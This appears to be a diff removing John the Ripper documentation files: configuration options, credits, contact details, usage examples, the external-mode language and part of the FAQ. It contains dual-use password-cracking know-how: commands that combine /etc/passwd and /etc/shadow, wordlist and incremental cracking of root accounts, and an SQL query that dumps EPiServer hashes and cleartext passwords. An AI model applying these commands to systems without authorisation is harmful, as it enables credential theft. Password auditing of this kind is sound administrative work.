starts with a line containing its name, in brackets ("[...]"). Sections
|
||||
consist either of "variable = value" assignments (each on its own line)
|
||||
or of some other content specific to the particular section's type
|
||||
(names of such sections start with "List."). Section and variable names
|
||||
are not case sensitive. Comment lines start with a hash character ("#")
|
||||
or a semicolon (";") and are ignored. Also ignored are any empty lines.
|
||||
|
||||
|
||||
General options.
|
||||
|
||||
Some global options can be defined in the [Options] section. Currently,
|
||||
you can set the following options:
|
||||
|
||||
Wordlist = FILENAME
|
||||
|
||||
Set this to your wordlist file name, to be used in batch mode (which is
|
||||
activated when you start John with password files, but not specifying a
|
||||
cracking mode). The default is "$JOHN/password.lst", that is, the file
|
||||
named "password.lst" in John's "home directory".
|
||||
|
||||
Idle = Y|N
|
||||
|
||||
If set to "Y" (yes), John will try to use idle processor cycles only,
|
||||
thereby greatly reducing its impact on other system processes. The
|
||||
impact on performance of John itself is negligible except on otherwise
|
||||
overloaded systems. This setting does not affect John's startup time
|
||||
and non-cracking invocations of John; it only affects the actual
|
||||
cracking. The default is "Y" (yes).
|
||||
|
||||
Starting with version 1.7.7, this setting is ignored for OpenMP-enabled
|
||||
hash types when the actual number of threads is greater than 1.
|
||||
Unfortunately, it did not work right at least with GNU libgomp on Linux.
|
||||
|
||||
Save = SECONDS
|
||||
|
||||
This is the time interval (in seconds) between crash recovery file
|
||||
updates. The default is 600 seconds (10 minutes).
|
||||
|
||||
Beep = Y|N
|
||||
|
||||
If set to "Y" (yes), John will beep when a password is found. On
|
||||
Unix-like systems, it does this by sending the bell character (ASCII
|
||||
code 7) to the "standard error" file descriptor (which is normally
|
||||
directed to the terminal). The default is "N" (no).
|
||||
|
||||
|
||||
Defining wordlist and "single crack" modes rules.
|
||||
|
||||
The word mangling rules for wordlist and "single crack" modes are
|
||||
defined in separate sections, [List.Rules:Wordlist] and
|
||||
[List.Rules:Single], respectively. John the Ripper uses an extension of
|
||||
Crack's syntax for the rules. John supports all of the commands of
|
||||
Crack 5.0a plus a few more and, most importantly, it adds a
|
||||
preprocessor, which can generate multiple rules from a single source
|
||||
line.
|
||||
|
||||
When defining rules, simply place one rule (which may include
|
||||
preprocessor commands) per line. See RULES for information on the rules
|
||||
syntax and on the preprocessor.
|
||||
|
||||
|
||||
"Incremental" mode parameters.
|
||||
|
||||
To define the incremental mode parameters you need to create a section
|
||||
called [Incremental:MODE], where MODE is any name that you assign to the
|
||||
mode. There are some pre-defined incremental modes in the default
|
||||
configuration file supplied with John, you can use them as templates.
|
||||
|
||||
The following parameters are supported:
|
||||
|
||||
File = FILENAME
|
||||
|
||||
Set this to your charset file name. See EXAMPLES for an example on how
|
||||
to generate a custom charset file. There's no default.
|
||||
|
||||
MinLen = LENGTH
|
||||
|
||||
Minimum password length (the number of characters) to try. The default
|
||||
is 0.
|
||||
|
||||
MaxLen = LENGTH
|
||||
|
||||
Maximum password length to try. The default is 8 (or CHARSET_LENGTH as
|
||||
defined in src/params.h at compile time).
|
||||
|
||||
CharCount = COUNT
|
||||
|
||||
This allows you to limit the number of different characters (or rather,
|
||||
character indices) used. The effect is that John would favor simple
|
||||
longer candidate passwords over more complicated shorter ones, and would
|
||||
never attempt rare characters and character combinations, not even for
|
||||
really short passwords. Most of the time, this is undesired. Another
|
||||
use for this option is to make John print a warning if the charset only
|
||||
defines less than CharCount characters; this is how the pre-defined
|
||||
"incremental" modes use it. The default is to use as many different
|
||||
characters as are defined.
|
||||
|
||||
Extra = CHARACTERS
|
||||
|
||||
This can be used to make John try some extra characters that don't
|
||||
appear in the charset file. Just list all those characters here and
|
||||
they will be added, but considered the least probable.
|
||||
|
||||
|
||||
Defining an external mode.
|
||||
|
||||
See EXTERNAL.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CONFIG,v 1.5 2011/02/27 07:16:16 solar Exp $
|
||||
|
|
@ -1,28 +0,0 @@
|
|||
John the Ripper homepage is located at:
|
||||
|
||||
http://www.openwall.com/john/
|
||||
|
||||
There you will find instructions on joining the john-users mailing list.
|
||||
You will also be able to browse archives of past discussions. Please
|
||||
share your experience with using John the Ripper and ask questions
|
||||
(preferably advanced ones) on the list. Be sure to specify an
|
||||
informative message subject whenever you post to the list (that is,
|
||||
something better than "question" or "problem") and mention the version
|
||||
of John the Ripper, operating system, compiler, make target, etc. that
|
||||
you're using (if applicable). If you need to provide a binary file,
|
||||
place it on a private URL and post that, do not attach the file to your
|
||||
message.
|
||||
|
||||
If you need to contact me privately, please e-mail me at the address
|
||||
below, but most messages should really be directed to the list instead.
|
||||
|
||||
Please don't ask questions until you read the FAQ.
|
||||
|
||||
Commercial support for John the Ripper is available from Openwall:
|
||||
|
||||
http://www.openwall.com/services/
|
||||
|
||||
--
|
||||
Solar Designer <solar at openwall.com>
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CONTACT,v 1.3 2006/01/02 05:00:42 solar Exp $
|
||||
|
|
@ -1,75 +0,0 @@
|
|||
John the Ripper credits.
|
||||
|
||||
John the Ripper has been developed and is maintained by Solar Designer.
|
||||
|
||||
I would like to thank the following people for their direct or indirect
|
||||
help in making John what it is now:
|
||||
|
||||
* Matthew Kwan - for producing and letting everyone use his optimized
|
||||
DES S-box expressions (previously found in nonstd.c and sboxes.c, now
|
||||
replaced with Roman Rusakov's):
|
||||
|
||||
http://www.darkside.com.au/bitslice/
|
||||
|
||||
* Bruce Ford and Rémi Guyomarch - for producing and permitting the use
|
||||
of their MMX implementation of Matthew Kwan's S-box expressions
|
||||
(previously found in x86-mmx.S and x86-sse.S, with modifications, now
|
||||
replaced with code based on Roman Rusakov's S-box expressions).
|
||||
|
||||
* Dumplinger Boy (Dango-Chu) - for producing and letting everyone use
|
||||
his optimized DES S-box expressions making use of a vector conditional
|
||||
select operation such as on PowerPC with AltiVec (previously found in
|
||||
sboxes-s.c, now replaced with Roman Rusakov's):
|
||||
|
||||
http://dango.chu.jp/hiki/?Enhanced+Bitslice+DES
|
||||
|
||||
* Roman Rusakov - for the DES S-box expressions that current versions of
|
||||
John the Ripper use, as well as for optimization hints during early
|
||||
development of John the Ripper.
|
||||
|
||||
* Eli Biham - for the great "bitslice" paper:
|
||||
|
||||
http://www.cs.technion.ac.il/~biham/Reports/cs0891.ps.gz
|
||||
|
||||
* Lionel Cons - for making me add Kerberos AFS passwords support, for
|
||||
reporting some bugs, and for many good suggestions.
|
||||
|
||||
* stran9er - for tracking down the section alignment problem with MMX in
|
||||
the DOS and Win32 ports.
|
||||
|
||||
* Authors of the contributed patches ever listed on John the Ripper
|
||||
homepage and/or placed into contrib/ directory on the FTP server - for
|
||||
those patches which, while not included into the official John the
|
||||
Ripper for various reasons, are nevertheless very helpful to many users.
|
||||
|
||||
* All the people who have developed freeware crypt(3) implementations -
|
||||
for various tricks that I combined in my routines.
|
||||
|
||||
* Niels Provos and Poul-Henning Kamp - for original Blowfish-based and
|
||||
MD5-based crypt(3), respectively, that my implementations are compatible
|
||||
with.
|
||||
|
||||
* Alec Muffett - for the original wordlist rules syntax.
|
||||
|
||||
* The SOrCErEr - for proving the large charset tables are worth
|
||||
implementing, and for introducing "-groups" in his cracker.
|
||||
|
||||
* Jackal - for the format of john.pot and parts of the user interface.
|
||||
|
||||
* Anton Ertl - for "Labels as Values" optimization that I use in
|
||||
compiler.c:
|
||||
|
||||
http://www.complang.tuwien.ac.at/papers/ertl96diss.ps.gz
|
||||
|
||||
* The developers of Cygwin - for Cygwin (at the time called Cygnus
|
||||
Developer's Kit) that I used for the Win32 port:
|
||||
|
||||
http://www.cygwin.com
|
||||
|
||||
* DJ Delorie - for DJGPP that I used for the DOS port:
|
||||
|
||||
http://www.delorie.com/djgpp/
|
||||
|
||||
* Charles W Sandmann - for CWSDPMI, the DPMI server used with DJGPP.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CREDITS,v 1.15 2011/06/22 13:03:43 solar Exp $
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
= Intro
|
||||
=======
|
||||
|
||||
EPiServer is a popular webbased content management system from Elektropost (http://www.episerver.com).
|
||||
You can dump the password hashes using the SQL syntax "select name, salt, hash from tblSID". The tblSID
|
||||
tabel stores interesting things such as usernames, salt and password hashes, but also passwords in cleartext.
|
||||
If a password can be found in cleartext it is found in the password column of tblSID.
|
||||
|
||||
= Install
|
||||
=========
|
||||
|
||||
Copy the epibf_X.Y-john_1.7.2.patch (where X and Y needs to be replaced with the version you downloaded)
|
||||
to your john source directory, e.g. john-1.7.2/src and then run "patch -p2 < epibf_X.Y-john_1.7.2.patch" (remember the X and Y).
|
||||
The patch will create a file called EPI_fmt.c, some files for SHA1 support as well as update some of johns
|
||||
files in order to incorporate the patch with john.
|
||||
|
||||
= Usage
|
||||
=======
|
||||
|
||||
This patch needs the format of the password file to be: <user>:<salt> <hash>. (Currently you need to include
|
||||
an inital 0x of both salt and hash.)
|
||||
|
||||
--- Contents of an example epipasswd file ---
|
||||
|
||||
webadmin:0x6631F625DEC28716FC24FA3CC1B3E2055E4281F4465226905C10D3456035 0x4F25D9BD24B81D85B1F2D106037C71CD2C828168
|
||||
epiuser:0x48F9BA13F54CE7AF669C76EEBC6BEA4564EBB77F1866CA5F2B297F7159C1 0xDA4260812C195025B4442C5C84E0F890122B285A
|
||||
|
||||
-------------- End --------------------------
|
||||
|
||||
You can then run "john epipasswd", the format will be autodetected.
|
||||
In case you'd like to check the performance of the patch try "john --test --format:epi".
|
||||
|
||||
-johannes
|
||||
|
|
@ -1,409 +0,0 @@
|
|||
John the Ripper usage examples.
|
||||
|
||||
These examples are to give you some tips on what John's features can be
|
||||
used for.
|
||||
|
||||
|
||||
Command line.
|
||||
|
||||
1. First, you need to get a copy of your password file. If your system
|
||||
uses shadow passwords, you may use John's "unshadow" utility to obtain
|
||||
the traditional Unix password file, as root:
|
||||
|
||||
umask 077
|
||||
unshadow /etc/passwd /etc/shadow > mypasswd
|
||||
|
||||
(You may need to replace the filenames as needed.)
|
||||
|
||||
Then make "mypasswd" available to your non-root user account that you
|
||||
will run John under. No further commands will need to be run as root.
|
||||
|
||||
If your system is ancient enough that it keeps passwords right in the
|
||||
world-readable /etc/passwd, simply make a copy of that file.
|
||||
|
||||
If you're going to be cracking Kerberos AFS passwords, use John's
|
||||
"unafs" utility to obtain a passwd-like file.
|
||||
|
||||
Similarly, if you're going to be cracking Windows passwords, use any of
|
||||
the many utilities that dump Windows password hashes (LM and/or NTLM) in
|
||||
Jeremy Allison's PWDUMP output format. Some of these utilities may be
|
||||
obtained here:
|
||||
|
||||
http://www.openwall.com/passwords/pwdump
|
||||
|
||||
2. Now, let's assume you've got a password file, "mypasswd", and want to
|
||||
crack it. The simplest way is to let John use its default order of
|
||||
cracking modes:
|
||||
|
||||
john mypasswd
|
||||
|
||||
This will try "single crack" mode first, then use a wordlist with rules,
|
||||
and finally go for "incremental" mode. Please refer to MODES for more
|
||||
information on these modes.
|
||||
|
||||
It is highly recommended that you obtain a larger wordlist than John's
|
||||
default password.lst and edit the "Wordlist = ..." line in the
|
||||
configuration file (see CONFIG) before running John. Some wordlists may
|
||||
be obtained here:
|
||||
|
||||
http://www.openwall.com/wordlists/
|
||||
|
||||
Of those available in the collection at the URL above, all.lst
|
||||
(downloadable as all.gz) and huge.lst (only available on the CD) are
|
||||
good candidates for the "Wordlist = ..." setting.
|
||||
|
||||
3. If you've got some passwords cracked, they are stored in
|
||||
$JOHN/john.pot. The john.pot file is not meant to be human-friendly.
|
||||
You should be using John itself to display the contents of its "pot
|
||||
file" in a convenient format:
|
||||
|
||||
john --show mypasswd
|
||||
|
||||
If the account list gets large and doesn't fit on the screen, you
|
||||
should, of course, use your shell's output redirection.
|
||||
|
||||
You might notice that many accounts have a disabled shell. You can make
|
||||
John skip those in the report. Assuming that the disabled shell is
|
||||
called "/etc/expired", the command would be:
|
||||
|
||||
john --show --shells=-/etc/expired mypasswd
|
||||
|
||||
or shorter, but will also match "/any/path/expired":
|
||||
|
||||
john --show --shells=-expired mypasswd
|
||||
|
||||
or if you also want to ignore some other shell, say "/etc/newuser":
|
||||
|
||||
john --show --shells=-expired,newuser mypasswd
|
||||
|
||||
To check if any root (UID 0) accounts got cracked:
|
||||
|
||||
john --show --users=0 mypasswd
|
||||
|
||||
or to check for cracked root (UID 0) accounts in multiple files:
|
||||
|
||||
john --show --users=0 *passwd* *.pwd
|
||||
|
||||
To display the root (username "root") account only:
|
||||
|
||||
john --show --users=root mypasswd
|
||||
|
||||
And finally, to check for privileged groups:
|
||||
|
||||
john --show --groups=0,1 mypasswd
|
||||
|
||||
4. You might prefer to manage the cracking modes manually. It is wise
|
||||
to start with "single crack" mode:
|
||||
|
||||
john --single mypasswd
|
||||
|
||||
or since the GNU-style double dashes are optional and since option
|
||||
names can be abbreviated for as long as they remain unambiguous:
|
||||
|
||||
john -si mypasswd
|
||||
|
||||
You should not abbreviate options in scripts which you would want to
|
||||
work with future versions of John since what is unambiguous now might
|
||||
become ambiguous with the addition of more options.
|
||||
|
||||
If you have more files to crack, it is preferable to load them at the
|
||||
same time:
|
||||
|
||||
john --single passwd1 passwd2
|
||||
|
||||
or even:
|
||||
|
||||
john --single *passwd* *.pwd
|
||||
|
||||
This way, John will run faster and might even crack more passwords than
|
||||
it would if you ran it on each password file separately.
|
||||
|
||||
5. To catch weak passwords not derived from readily available users'
|
||||
personal information, you should proceed with cracking modes demanding
|
||||
more processor time. First, let's try a tiny wordlist with word
|
||||
mangling rules enabled:
|
||||
|
||||
john --wordlist=password.lst --rules mypasswd
|
||||
|
||||
or abbreviating the options:
|
||||
|
||||
john -w=password.lst -ru mypasswd
|
||||
|
||||
Then proceed with a larger wordlist, also applying the mangling rules:
|
||||
|
||||
john --wordlist=all.lst --rules mypasswd
|
||||
|
||||
If you've got a lot of spare disk space to trade for performance and the
|
||||
hash type of your password files is relatively slow, you may use John's
|
||||
"unique" utility to eliminate any duplicate candidate passwords:
|
||||
|
||||
john --wordlist=all.lst --rules --stdout | unique mangled.lst
|
||||
john --wordlist=mangled.lst mypasswd
|
||||
|
||||
If you know that your target hash type truncates passwords at a given
|
||||
length, you may optimize this even further:
|
||||
|
||||
john --wordlist=all.lst --rules --stdout=8 | unique mangled8.lst
|
||||
john --wordlist=mangled8.lst mypasswd
|
||||
|
||||
Alternatively, you may simply use huge.lst available on Openwall
|
||||
wordlist collection CDs. It has word mangling rules pre-applied for the
|
||||
most common languages and it has any duplicates purged.
|
||||
|
||||
Depending on target hash type, the number of different salts (if
|
||||
applicable), the size of your wordlist, rules, and processor
|
||||
performance, wordlist-based cracking may take anywhere from under a
|
||||
second to many days.
|
||||
|
||||
You do not have to leave John running on a (pseudo-)terminal. If
|
||||
running John on a Unix-like system, you can simply disconnect from the
|
||||
server, close your xterm, etc. John will catch the SIGHUP ("hangup"
|
||||
signal) and continue running. Alternatively, you may prefer to start it
|
||||
in the background right away:
|
||||
|
||||
john --wordlist=all.lst --rules mypasswd &
|
||||
|
||||
Obviously, the "&" is specific to Unix shells and will not work on most
|
||||
other platforms.
|
||||
|
||||
You may further enhance this by specifying a session name:
|
||||
|
||||
john --session=allrules --wordlist=all.lst --rules mypasswd &
|
||||
|
||||
This ensures that you won't accidentally interfere with the instance of
|
||||
John running in the background if you proceed to start other sessions.
|
||||
|
||||
To view the status of a running session, use:
|
||||
|
||||
john --status
|
||||
|
||||
for the default session or:
|
||||
|
||||
john --status=allrules
|
||||
|
||||
for any other session. This works for both interrupted and running
|
||||
sessions. To obtain the most up-to-date information from a running
|
||||
session on a Unix-like system, send a SIGHUP to the appropriate "john"
|
||||
process.
|
||||
|
||||
Any interrupted sessions may be continued with:
|
||||
|
||||
john --restore
|
||||
|
||||
or:
|
||||
|
||||
john --restore=allrules
|
||||
|
||||
Finally, to make John have less impact on other processes, you should
|
||||
set the option "Idle = Y" in the configuration file (see CONFIG). The
|
||||
default may vary depending on the version and build of JtR.
|
||||
|
||||
To only crack accounts with a "good" shell (in general, the shell, user,
|
||||
and group filters described above work for all cracking modes as well):
|
||||
|
||||
john --wordlist=all.lst --rules --shells=sh,csh,tcsh,bash mypasswd
|
||||
|
||||
Like with all other cracking modes, it is faster to crack all the files
|
||||
you need cracked simultaneously:
|
||||
|
||||
john --wordlist=all.lst --rules passwd1 passwd2
|
||||
|
||||
You can crack some passwords only. This will try cracking all root
|
||||
(UID 0) accounts in all the password files:
|
||||
|
||||
john --wordlist=all.lst --rules --users=0 *passwd*
|
||||
|
||||
Alternatively, you may wish to not waste time cracking your very own
|
||||
passwords, if you're sure they're uncrackable:
|
||||
|
||||
john --wordlist=all.lst --rules --users=-root,solar *passwd*
|
||||
|
||||
Sometimes it is useful to split your password hashes into two sets which
|
||||
you crack separately, like:
|
||||
|
||||
john --wordlist=all.lst --rules --salts=2 *passwd*
|
||||
john --wordlist=all.lst --rules --salts=-2 *passwd*
|
||||
|
||||
This will make John try salts used on two or more password hashes first
|
||||
and then try the rest. Total cracking time will be almost the same, but
|
||||
you will get some passwords cracked earlier, which is useful, for
|
||||
example, for penetration testing and demonstrations to management.
|
||||
Similarly, you may check all password hashes with a small wordlist, but
|
||||
only those that you can check faster (with "--salts=2") with a larger
|
||||
one. With large numbers of password hashes and/or with a highly
|
||||
non-uniform distribution of salts, it may be appropriate to use a
|
||||
threshold larger than 2 with "--salts" (sometimes even values as high as
|
||||
1000 will do).
|
||||
|
||||
Note that the default wordlist rules include ":" (a no-op - try words as
|
||||
they are in the list) on the first line. If you already ran through a
|
||||
wordlist without using rules, and then decided to also try the same
|
||||
wordlist with rules, you'd better comment this line out.
|
||||
|
||||
6. The most powerful cracking mode in John is called "incremental" (not a
|
||||
proper name, but kept for historical reasons). You can simply run:
|
||||
|
||||
john --incremental mypasswd
|
||||
|
||||
or:
|
||||
|
||||
john -i mypasswd
|
||||
|
||||
This will use the default "incremental" mode parameters, which are
|
||||
defined in the configuration file's section named either
|
||||
[Incremental:All] (for most hash types) or [Incremental:LanMan] (for
|
||||
Windows LM hashes). By default, the [Incremental:All] parameters are
|
||||
set to use the full printable US-ASCII character set (95 characters) and
|
||||
to try all possible password lengths from 0 to 8. [Incremental:LanMan]
|
||||
is similar, except that it takes advantage of LM hashes being
|
||||
case-insensitive and of their halves limited to 7 characters each.
|
||||
|
||||
Don't expect "incremental" mode sessions to terminate in a reasonable
|
||||
time (unless all the passwords are weak and get cracked), read MODES for
|
||||
an explanation of this.
|
||||
|
||||
In some cases it is faster to use some other pre-defined incremental mode
|
||||
parameters and only crack simpler passwords, from a limited character
|
||||
set. The following command will try 26 different characters only,
|
||||
passwords from "a" to "zzzzzzzz" (in an optimal order):
|
||||
|
||||
john -i=alpha mypasswd
|
||||
|
||||
Of course, you can use most of the additional features demonstrated
|
||||
above for wordlist mode with "incremental" mode as well. For example,
|
||||
on a large-scale penetration test, you may have John crack only root
|
||||
(UID 0) accounts in a set of password files:
|
||||
|
||||
john -i -u=0 *.pwd
|
||||
|
||||
7. If you've got a password file for which you already have a lot of
|
||||
passwords cracked or obtained by other means, and the passwords are
|
||||
unusual, then you may want to generate a new charset file, based on
|
||||
character frequencies from that password file only:
|
||||
|
||||
john --make-charset=custom.chr mypasswd
|
||||
|
||||
Then use that new file with "incremental" mode.
|
||||
|
||||
If you've got many password files from a particular country,
|
||||
organization, etc., it might be useful to use all of them for the
|
||||
charset file that you then use to crack even more passwords from these
|
||||
files or from some other password files from the same place:
|
||||
|
||||
john --make-charset=custom.chr passwd1 passwd2
|
||||
[ Configure your custom "incremental" mode now. See below. ]
|
||||
john -i=custom passwd3
|
||||
|
||||
You can use some pre-defined or custom word filters when generating the
|
||||
charset file to have John consider some simpler passwords only:
|
||||
|
||||
john --make-charset=my_alpha.chr --external=filter_alpha mypasswd
|
||||
|
||||
If your "pot file" got large enough (or if you don't have any charset
|
||||
files at all), you might want to use it to generate a new set of main
|
||||
charset files:
|
||||
|
||||
john --make-charset=all.chr
|
||||
john --make-charset=alnum.chr --external=filter_alnum
|
||||
john --make-charset=alpha.chr --external=filter_alpha
|
||||
john --make-charset=digits.chr --external=filter_digits
|
||||
john --make-charset=lanman.chr --external=filter_lanman
|
||||
|
||||
In the example above, John will overwrite the charset files with new
|
||||
ones that are based on your entire $JOHN/john.pot (John uses the entire
|
||||
"pot file" if you don't specify any password files). Note that the word
|
||||
filters used here are pre-defined in the configuration file supplied
|
||||
with John, for your convenience.
|
||||
|
||||
8. Finally, you might want to e-mail all users with weak passwords to
|
||||
tell them to change their passwords. (This is not always a good idea,
|
||||
though, since lots of people do not check their e-mail or ignore such
|
||||
messages, and the messages can be a hint for crackers.) Edit the
|
||||
"mailer" script supplied with John: the message it sends and possibly
|
||||
the mail command (especially if the password file is from a different
|
||||
machine). Then run:
|
||||
|
||||
mailer mypasswd
|
||||
|
||||
|
||||
Configuration file.
|
||||
|
||||
Please refer to CONFIG for general information on the configuration file
|
||||
and its possible locations.
|
||||
|
||||
1. Let's assume that you notice that in some password file a lot of
|
||||
users have their passwords set to login names with "?!" appended. Then
|
||||
you just make a new "single crack" mode rule (see RULES for information
|
||||
on the syntax) and place it somewhere near the beginning:
|
||||
|
||||
[List.Rules:Single]
|
||||
$?$!
|
||||
|
||||
Hint: if you want to temporarily disable all of the default rules, you
|
||||
can simply rename the section to something John doesn't use and define
|
||||
a new one with the section's old name, but be sure to leave the "List."
|
||||
prefix of the name intact to maintain correct configuration file syntax.
|
||||
|
||||
All the same applies to wordlist mode rules as well.
|
||||
|
||||
2. If you generate a custom charset file (described above) you will also
|
||||
need to define a configuration file section with the "incremental" mode
|
||||
parameters. In the simplest case it will be like this (where "Custom"
|
||||
can be replaced with any name you like):
|
||||
|
||||
[Incremental:Custom]
|
||||
File = custom.chr
|
||||
|
||||
This way, John will only use characters from passwords used to generate
|
||||
the charset file only. To make John try some more characters, add:
|
||||
|
||||
Extra = !@#$%
|
||||
|
||||
These extra characters will then be added, but still considered the
|
||||
least probable. If you want to make sure that, with your extra
|
||||
characters, John will try all the 95 printable US-ASCII characters, you
|
||||
can add:
|
||||
|
||||
CharCount = 95
|
||||
|
||||
This will make John print a warning if it only has fewer than 95
|
||||
characters in its charset.
|
||||
|
||||
You can also use CharCount to limit the number of different characters
|
||||
that John tries, even if the charset file has more:
|
||||
|
||||
CharCount = 20
|
||||
|
||||
If you didn't use any filters when generating the charset file, setting
|
||||
CharCount this low will make John never attempt rare characters and
|
||||
character combinations, not even for really short passwords, spending
|
||||
the time on simple longer candidate passwords instead. However, the
|
||||
default length switching is usually smart enough so that you shouldn't
|
||||
need this trick.
|
||||
|
||||
To make John try passwords of certain lengths only, use the following
|
||||
lines:
|
||||
|
||||
MinLen = 6
|
||||
MaxLen = 8
|
||||
|
||||
Setting "MinLen" high, as in the example above, is reasonable if shorter
|
||||
passwords weren't allowed to set on the machine you got the password file
|
||||
from (however, note that root can usually set any password for any user
|
||||
and there are often loopholes in operating systems' password policy
|
||||
enforcement capabilities).
|
||||
|
||||
On the contrary, you may want to set "MaxLen" low if you think there are
|
||||
a lot of short passwords.
|
||||
|
||||
3. Another example: a lot of users at some site use short duplicated
|
||||
words as their passwords, such as "fredfred". As the number of such
|
||||
potential passwords is fairly low, it makes sense to code a new external
|
||||
cracking mode that tries them all, up to some length.
|
||||
|
||||
You can find the actual implementation of such a cracking mode with lots
|
||||
of comments in the default configuration file supplied with John.
|
||||
Please refer to EXTERNAL for information on the programming language
|
||||
used.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/EXAMPLES,v 1.8 2009/12/25 16:59:31 solar Exp $
|
||||
|
|
@ -1,78 +0,0 @@
|
|||
Defining an external mode.
|
||||
|
||||
To define an external cracking mode you need to create a configuration
|
||||
file section called [List.External:MODE], where MODE is any name that
|
||||
you assign to the mode. The section should contain some functions
|
||||
programmed in a subset of the C language. John will compile and use the
|
||||
functions if you enable this cracking mode via the command line.
|
||||
|
||||
|
||||
External functions.
|
||||
|
||||
The following functions are currently used by John:
|
||||
|
||||
init() called at startup, should initialize global variables
|
||||
filter() called for each word to be tried, can filter some words out
|
||||
generate() called to generate words, when no other cracking modes used
|
||||
restore() called when restoring an interrupted session
|
||||
|
||||
All of them are of type "void", with no arguments, and should use the
|
||||
global variable "word" (pre-defined as "int word[]"), except for init()
|
||||
which is called before "word" is initialized. The variable "word"
|
||||
contains the current candidate password to be tried, one character in
|
||||
each array element, terminated with a zero.
|
||||
|
||||
The functions, if defined, should do the following with "word":
|
||||
|
||||
* filter() can modify the word, or zero out "word[0]" to skip it;
|
||||
|
||||
* generate() should set "word" to the next word to be tried, or zero out
|
||||
"word[0]" when cracking is complete (this will cause John to terminate);
|
||||
|
||||
* restore() should set global variables to continue from the "word".
|
||||
|
||||
You can use an external mode on its own or with some other cracking
|
||||
mode, in which case only init() and filter() will be used (and only
|
||||
filter() will be required). Using an external filter is compatible with
|
||||
all the other cracking modes and with the "--make-charset" command line
|
||||
option.
|
||||
|
||||
It is recommended that you don't use filter() or at least don't filter
|
||||
too many words out when using an external mode with your own generate().
|
||||
It is better to modify generate() not to generate words that would get
|
||||
filtered out.
|
||||
|
||||
|
||||
The language.
|
||||
|
||||
As it has been mentioned above, the compiler supports a subset of C.
|
||||
The supported keywords are: void, int, if, else, while, continue, break,
|
||||
and return.
|
||||
|
||||
You can define functions to be called by John (the ones described
|
||||
above), define global and local variables (including single dimensional
|
||||
arrays), use all the integer operations supported in C, and use C and
|
||||
C++ comments.
|
||||
|
||||
The following C features are missing from John's compiler:
|
||||
|
||||
* function calls (any functions defined as a part of an external mode
|
||||
can only be called by John core, but not from within other external mode
|
||||
functions);
|
||||
|
||||
* only "while" loops are supported;
|
||||
|
||||
* only "int" and "void" data types are supported;
|
||||
|
||||
* only single dimensional arrays are supported;
|
||||
|
||||
* structs/unions are not supported;
|
||||
|
||||
* pointers are not supported (array name refers to the first element);
|
||||
|
||||
* probably something else...
|
||||
|
||||
You can find some external mode examples in the default configuration
|
||||
file supplied with John.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/EXTERNAL,v 1.2 2005/11/16 13:11:15 solar Exp $
|
||||
|
|
@ -1,234 +0,0 @@
|
|||
John the Ripper FAQ.
|
||||
|
||||
The latest version of this FAQ may be viewed online at:
|
||||
|
||||
http://www.openwall.com/john/doc/FAQ.shtml
|
||||
|
||||
|
||||
Help! I can't run John.
|
||||
|
||||
If you're not familiar with your OS, you should probably not be using
|
||||
John in the first place since John is a tool for system administrators.
|
||||
However, here are the answers to a few (not very) common questions to
|
||||
avoid having them asked over and over and for amusement.
|
||||
|
||||
Q: When I type "john" (or "john passwd", etc.), it says "command not
|
||||
found" (or equivalent)?!
|
||||
A: The examples given in John the Ripper documentation assume that you
|
||||
know how to invoke newly-built programs from your shell. On Unix-like
|
||||
systems, it is typical to not have "." (the current directory) in your
|
||||
$PATH (the list of directories to search for programs). In that case,
|
||||
you need to type "./john" (dot, slash, and "john", without the quotes)
|
||||
to invoke the John binary executable located in the current directory.
|
||||
|
||||
Q: ...but I am on a Unix-like system and I don't seem to readily have a
|
||||
John binary executable.
|
||||
A: Please follow the instructions in INSTALL.
|
||||
|
||||
Q: When I double-click on "john.exe", a window flashes and disappears?!
|
||||
A: You're not supposed to click. You're supposed to run John from a
|
||||
command-line shell. On Windows, some of those shells would be cmd.exe,
|
||||
command.com, or bash (the latter is available with Cygwin).
|
||||
|
||||
|
||||
Other trivial matters.
|
||||
|
||||
Q: How do I start John on my password file, use a specific cracking
|
||||
mode, see the passwords it cracked, etc?
|
||||
A: See README and EXAMPLES. :-)
|
||||
|
||||
Q: How do I "unshadow"?
|
||||
A: See EXAMPLES on how to combine your passwd and shadow files, provided
|
||||
that you have root access to the target system.
|
||||
|
||||
Q: Why doesn't John load my password file? It says "No password hashes
|
||||
loaded", "No password hashes loaded (see FAQ)", or "No password hashes
|
||||
left to crack (see FAQ)".
|
||||
A: Your password file might be shadowed. You need to get both
|
||||
/etc/passwd and the shadow file (typically /etc/shadow), and combine
|
||||
them into one file for use with John. Please refer to EXAMPLES.
|
||||
A: All of the password hashes found in the file (that are of the same
|
||||
type as the very first recognized hash in the file unless you're using
|
||||
the "--format=..." option) might be already cracked by previous
|
||||
invocations of John. (The message printed in that case has been changed
|
||||
to "No password hashes left to crack (see FAQ)" starting with version
|
||||
1.7.7.) To display cracked passwords, use "john --show" on your
|
||||
password hash file(s). To force John to crack those same hashes again,
|
||||
remove the john.pot file.
|
||||
A: With PWDUMP-format files, John focuses on LM rather than NTLM hashes
|
||||
by default, and it might not load any hashes at all if there are no LM
|
||||
hashes to crack. To have JtR Pro or a build of JtR with the jumbo patch
|
||||
focus on NTLM hashes instead, you need to pass the "--format=nt" option.
|
||||
A: The file you're trying to run John on might in fact not be a password
|
||||
file at all.
|
||||
A: Your command line syntax might be wrong, resulting in John trying to
|
||||
load a wrong file.
|
||||
A: Your password file format or hash type(s) might not be supported by
|
||||
John, or at least by the version and build of John that you're using.
|
||||
If you're positive that this is the case, you may want to check the
|
||||
contributed resources list on John the Ripper homepage for a suitable
|
||||
patch and, if unsuccessful with that, post a note to the mailing list
|
||||
(see CONTACT) including a sample password file line that John does not
|
||||
load (please make sure that the password is already changed by the time
|
||||
you post).
|
||||
|
||||
Q: I am getting the error "fopen: ./all.chr: No such file or directory"
|
||||
(or "fopen: ./lanman.chr: No such file or directory").
|
||||
Q: Where are the charset files?
|
||||
A: Development versions of John the Ripper might not include the charset
|
||||
files. You're supposed to take them out of the latest official release.
|
||||
|
||||
Q: Where do I get wordlists for use with John?
|
||||
A: http://www.openwall.com/wordlists/
|
||||
|
||||
Q: Where do I get new versions of John the Ripper?
|
||||
Q: Where do I get the source code for John?
|
||||
Q: I only have the source code for John the Ripper, where do I get it
|
||||
pre-compiled for my OS (if supported)?
|
||||
Q: What is the primary website for John the Ripper?
|
